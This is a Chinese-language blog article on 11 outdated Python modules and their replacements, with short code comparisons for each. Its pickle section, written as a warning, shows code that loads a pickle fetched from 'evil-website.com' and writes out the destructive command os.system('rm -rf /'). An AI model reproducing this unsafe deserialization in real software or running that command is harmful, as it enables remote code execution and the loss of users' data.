您不应该再使用的 11 个过时 Python 模块
Python 发展如此之快。
您 5 年前学过的一些模块?也许因为安全风险、缺乏维护、更好的现代替代品,或者 Python 的新特性使它们变得没有必要,它们今天已经过时了。
使用过时的模块可能会给您的 Python 项目带来意想不到且难以检测的 bug。
本文总结了 11 个过时的 Python 模块及其现代替代品,以帮助您更新知识库并升级您的 Python 武器库。
1. pipes模块: 自 Python 3.13 起移除
根据 PEP 594 的声明,pipes
模块已从 Python 3.13 中移除。
它是在 Python 中编写 Unix “pipe “逻辑(上一条命令的输出是下一条命令的输入)的工具。
现在更强大的跨平台模块是subprocess
。
下面的代码就是如何使用过时的pipes
模块:
# Old way using pipes (Deprecated and removed in Python 3.13)
import pipes
cmd = pipes.Template()
cmd.append('echo Hello, Yang!', '--')
cmd.append('tr a-z A-Z', '--')
with cmd.open('', 'r') as f:
output = f.read()
print("Output using pipes:", output)
# Output using pipes: HELLO, YANG!
这似乎不够直观,让我们看看如何使用新方法来实现相同的逻辑:
# Modern way using subprocess (Recommended)
import subprocess
result = subprocess.run(
"echo Hello, Yang! | tr a-z A-Z",
shell=True,
capture_output=True,
text=True,
)
print("Output using subprocess:", result.stdout)
# Output using subprocess: HELLO, YANG!
整洁而清晰,不是吗?
2. typing.Text: 多余的类型提示
typing.Text
是为兼容 Python 2 而设计的类型别名。在现代 Python 版本中它是多余的,str
已经足够了。
我们可以用 str
代替 typing.Text
:
from typing import Text
# The outdated type hint
def greet_old(name: Text) -> Text:
return f"Hello, {name}!"
# The modern type hint
def greet_modern(name: str) -> str:
return f"Hello, {name}!"
print(greet_old("Yang"))
print(greet_modern("Yang"))
3. urllib: 与更好的模块相比,urllib 过于基础,难以使用
urllib
模块是 Python 的内置标准库,用于处理与网络相关的任务,如
- HTTP 请求
- URL 解析
- 从网络服务器下载内容
- 等等
但是,由于网络的快速发展,这个模块变得很不方便。它非常基础和低级,不容易处理复杂的任务。
更好的选择是 urllib3
和 requests
,前者是一个更易用且功能强大的 HTTP 客户端,后者建立在 urllib3
的基础上,让一切变得更简单。
让我们同时使用古代模块和现代模块来实现一个程序,看看它们有什么不同:
import urllib.request
import urllib.error
import json
url = 'https://httpbin.org/post'
data = json.dumps({'name': 'Yang Zhou'}).encode('utf-8')
headers = {
'Content-Type': 'application/json',
'X-Custom-Header': 'Hello'
}
req = urllib.request.Request(url, data=data, headers=headers, method='POST')
try:
with urllib.request.urlopen(req, timeout=5) as response:
resp_data = response.read().decode('utf-8')
json_data = json.loads(resp_data)
print(json_data)
except urllib.error.URLError as e:
print("Error:", e)
上述程序使用 urllib
进行简单的 POST 请求,并接收响应的 JSON 数据。看起来很复杂,不够 Pythonic?
让我们看看如何使用requests
来做同样的事情:
import requests
url = 'https://httpbin.org/post'
data = {'name': 'Yang Zhou'}
headers = {'X-Custom-Header': 'Hello'}
try:
response = requests.post(url, json=data, headers=headers, timeout=5)
response.raise_for_status()
print(response.json())
except requests.exceptions.RequestException as e:
print("Error:", e)
更整洁、更清晰、更好看。不是吗?
总之,作为一个老模块,urllib
仍然有效–但如果你在编写大量网页代码时没有使用它的现代替代模块(如 requests
),你就会使你的代码变得不必要的复杂。
4. crypt 模块: 现在还不够安全
Python 的 crypt
模块是 Unix 世界遗留下来的,对于现代应用程序来说还不够安全。
它的缺点包括
- 仅适用于 Unix: Windows 上不可用
- 算法有限: 取决于系统的
crypt()
实现 - 不灵活: 没有内置密码验证
- 默认值较弱: 现代哈希函数更强
- 没有恒定时间比较: 容易受到定时攻击
如果你现在正在构建任何程序,那么 bcrypt
这个跨平台的强密码生成模块是你应该选择的。
这是一个如何在程序中应用 bcrypt
模块的基本示例:
import bcrypt
# Hash a password
password = b"mystrongpassword"
hashed = bcrypt.hashpw(password, bcrypt.gensalt())
print(hashed)
# Verify password
if bcrypt.checkpw(password, hashed):
print("Password matches!")
else:
print("Password does not match.")
5. typing” 模块中对内置类型的无用类型提示
Python 的 typing 模块为一些内置类型(如 List
、Dict
等)提供了类型提示。
自 Python 3.9 起,我们可以直接为这些数据类型编写类型提示,而无需从typing
模块中导入。
# The outdated type hint
from typing import Dict, List
def old_function(x: List[int]) -> Dict[str, int]:
...
# The modern type hint, no need to import anything from typing module
def new_function(x: list[int]) -> dict[str, int]:
...
新更新包括以下类型:
typing.Dict
(→dict
)typing.FrozenSet
(→frozenset
)typing.List
(→list
)typing.Set
(→set
)typing.Tuple
(→tuple
)
6. 旧的字符串格式化样式
如果您很早就开始学习 Python 编程,或者是从 C 或 C++ 等其他语言转过来的,您可能知道 Python 支持一些旧式的字符串格式化语法,比如 %
运算符或 .format()
方法。
它们在最新的 Python 版本中仍然可以使用,但我们不应该再使用它们了。它们难以阅读,而且容易出错。
整洁、优雅、现代的字符串格式化方式是使用 f-strings:
name = "Yang Zhou"
age = 32
# The outdated format string using % operator
print("My name is %s and I am %d years old." % (name, age))
# Another outdated format string using .format() method
print("My name is {} and I am {} years old.".format(name, age))
# The modern format string
print(f"My name is {name} and I am {age} years old.")
7. cgi 模块: 被现代网络开发框架取代
在网络开发的早期,CGI 脚本非常流行。Python 也有 cgi
模块。
然而,如今我们再也不应该使用它了。原因有很多,在此列举几条:
- 非常老旧: 90 年代为 CGI 脚本设计
- 慢: 每个请求需要一个 Python 进程
- 不安全: 难以安全处理输入
- 功能有限: 无路由、无模板、无现代网络功能
PEP 206 甚至提到该模块 “设计不当,现在几乎不可能修复”。
cgi
模块是 Python 网络开发早期的化石。在 Flask、FastAPI 和 Django 的现代世界里,它属于博物馆。
根据 PEP 594 的声明,它已从 Python 3.13 中移除。
顺便提一下,cgitb
模块用于在浏览器中显示详细的错误跟踪,以便调试。它被设计为与 cgi
一起使用,因此也没有必要再使用它了。有许多现代调试工具可用于 Python 网络开发。
8. ossaudiodev:过时的音频模块
ossaudiodev
模块为 OSS(开放声音系统)音频 API 提供了一个接口,在旧的 Unix/Linux 系统中用于播放和录制音频。
现在,大多数现代系统使用 ALSA 或 PulseAudio 代替 OSS。在 Linux 中,OSS 也已被淘汰。
因此,我们现在应该使用跨平台的音频处理模块,如 pyaudio
、sounddevice
、pygame.mixer
和 playsound
。
9. pickle: 一个不安全的模块,应该被其他工具取代
Python 有一个名为 pickler
的内置模块,用于将 Python 对象序列化(保存)为字节,或将字节反序列化为 Python 对象。
然而,使用该模块可能会使您的程序面临远程代码执行 (RCE) 风险(从不可信任的来源加载数据,从而执行任意代码)。
例如,我们绝对不能从互联网上获取数据,如下所示:
import pickle
import requests
url = "http://evil-website.com/data.pkl"
response = requests.get(url)
# Dangerous! If that pkl file contains malicious code, it will run!
data = pickle.loads(response.content)
因为如果 response.content
中有恶意代码,pickle.loads()
方法就会执行这些代码。⚠️
如果被这行代码嵌入了怎么办?
os.system("rm -rf /")
所有内容都会意外删除!
因此,尽管 pickle 模块并没有完全过时,但最好的做法是在生产中避免使用该模块,而是使用更安全的序列化格式,如 json
。
使用 json
的更安全代码:
import requests
import json
url = "https://safe-website.com/data.json"
response = requests.get(url)
data = response.json() # SAFE: only handle data, no code execution
pickle
模块并非完全过时,但在互联网上信任它的人很少。
10. asyncore 和 asynchat: 已移除的异步模块
在 asyncio
出现之前,asyncore
和 asynchat
都用于构建异步网络服务器/客户端。
由于 asyncio
是更强大的新工具,Python 正式在 Python 3.12 中删除了这两个旧模块。
除了 asyncio
,现代 Python 异步编程还有其他一些选择。在此列举几个流行的:
aiohttp
:异步 HTTP 客户端/服务器(适合网络开发)trio
:结构化并发- Quart:类似 Flask 的网络框架,但异步优先
- FastAPI:异步优先的网络框架
11. random: 生成密码太不安全
random
模块使用梅森捻子算法生成随机数。它速度很快,在 Python 3.6 之前很常用。
然而,这种算法是确定性的。
这意味着如果使用相同的种子,就会得到完全相同的输出!
可预测性有利于攻击者,而不是开发者。如果他们看到足够多的输出,也许就能反向设计状态并预测未来的值。
因此,我们不应再用它来生成敏感数据。
从 Python 3.6 开始添加的 secrets
模块是生成密码学上强的随机数来设置敏感数据(如密码)的更安全的选择。因为它从操作系统中获取基于硬件噪声等的随机性,而这些随机性更难预测。
其用法也非常简单:
import secrets
password = secrets.token_hex(16)
print(password)
结论
Python 是一种快速发展的语言,尤其是在人工智能时代。
三五年前被认为是最佳实践的东西,现在与其现代替代品相比,可能会变得缓慢、不安全或笨拙。
随着 Python 的发展,作为开发者的我们也应该与时俱进。
固守过时的模块不仅会让我们的代码更难维护,还可能意味着我们会错过更简洁的语法、更好的性能和更高的安全性。
保持好奇心。保持更新。感谢您的阅读!❤️
你也许感兴趣的:
- Python 中 help() 函数的各种特性
- Python 奇特的自引用
- 揭秘 Python 的 10 个隐藏技巧
- 如果您使用 Python… 你现在就需要了解这 3 个工具!
- 【外评】Python 为何如此糟糕…
- 【外评】用 Python 解释 Rust 背后的思想或理念
- Python 版本之间的主要变化摘要
- 【外评】Python 与苹果应用商店的拒绝作斗争
- 【外评】使用不安全的 Python 将速度提高 100 倍
- 谷歌裁掉整个 Python 团队!PyTorch 创始人急得直骂人:“WTF!核心语言团队无可替换”
你对本文的反应是: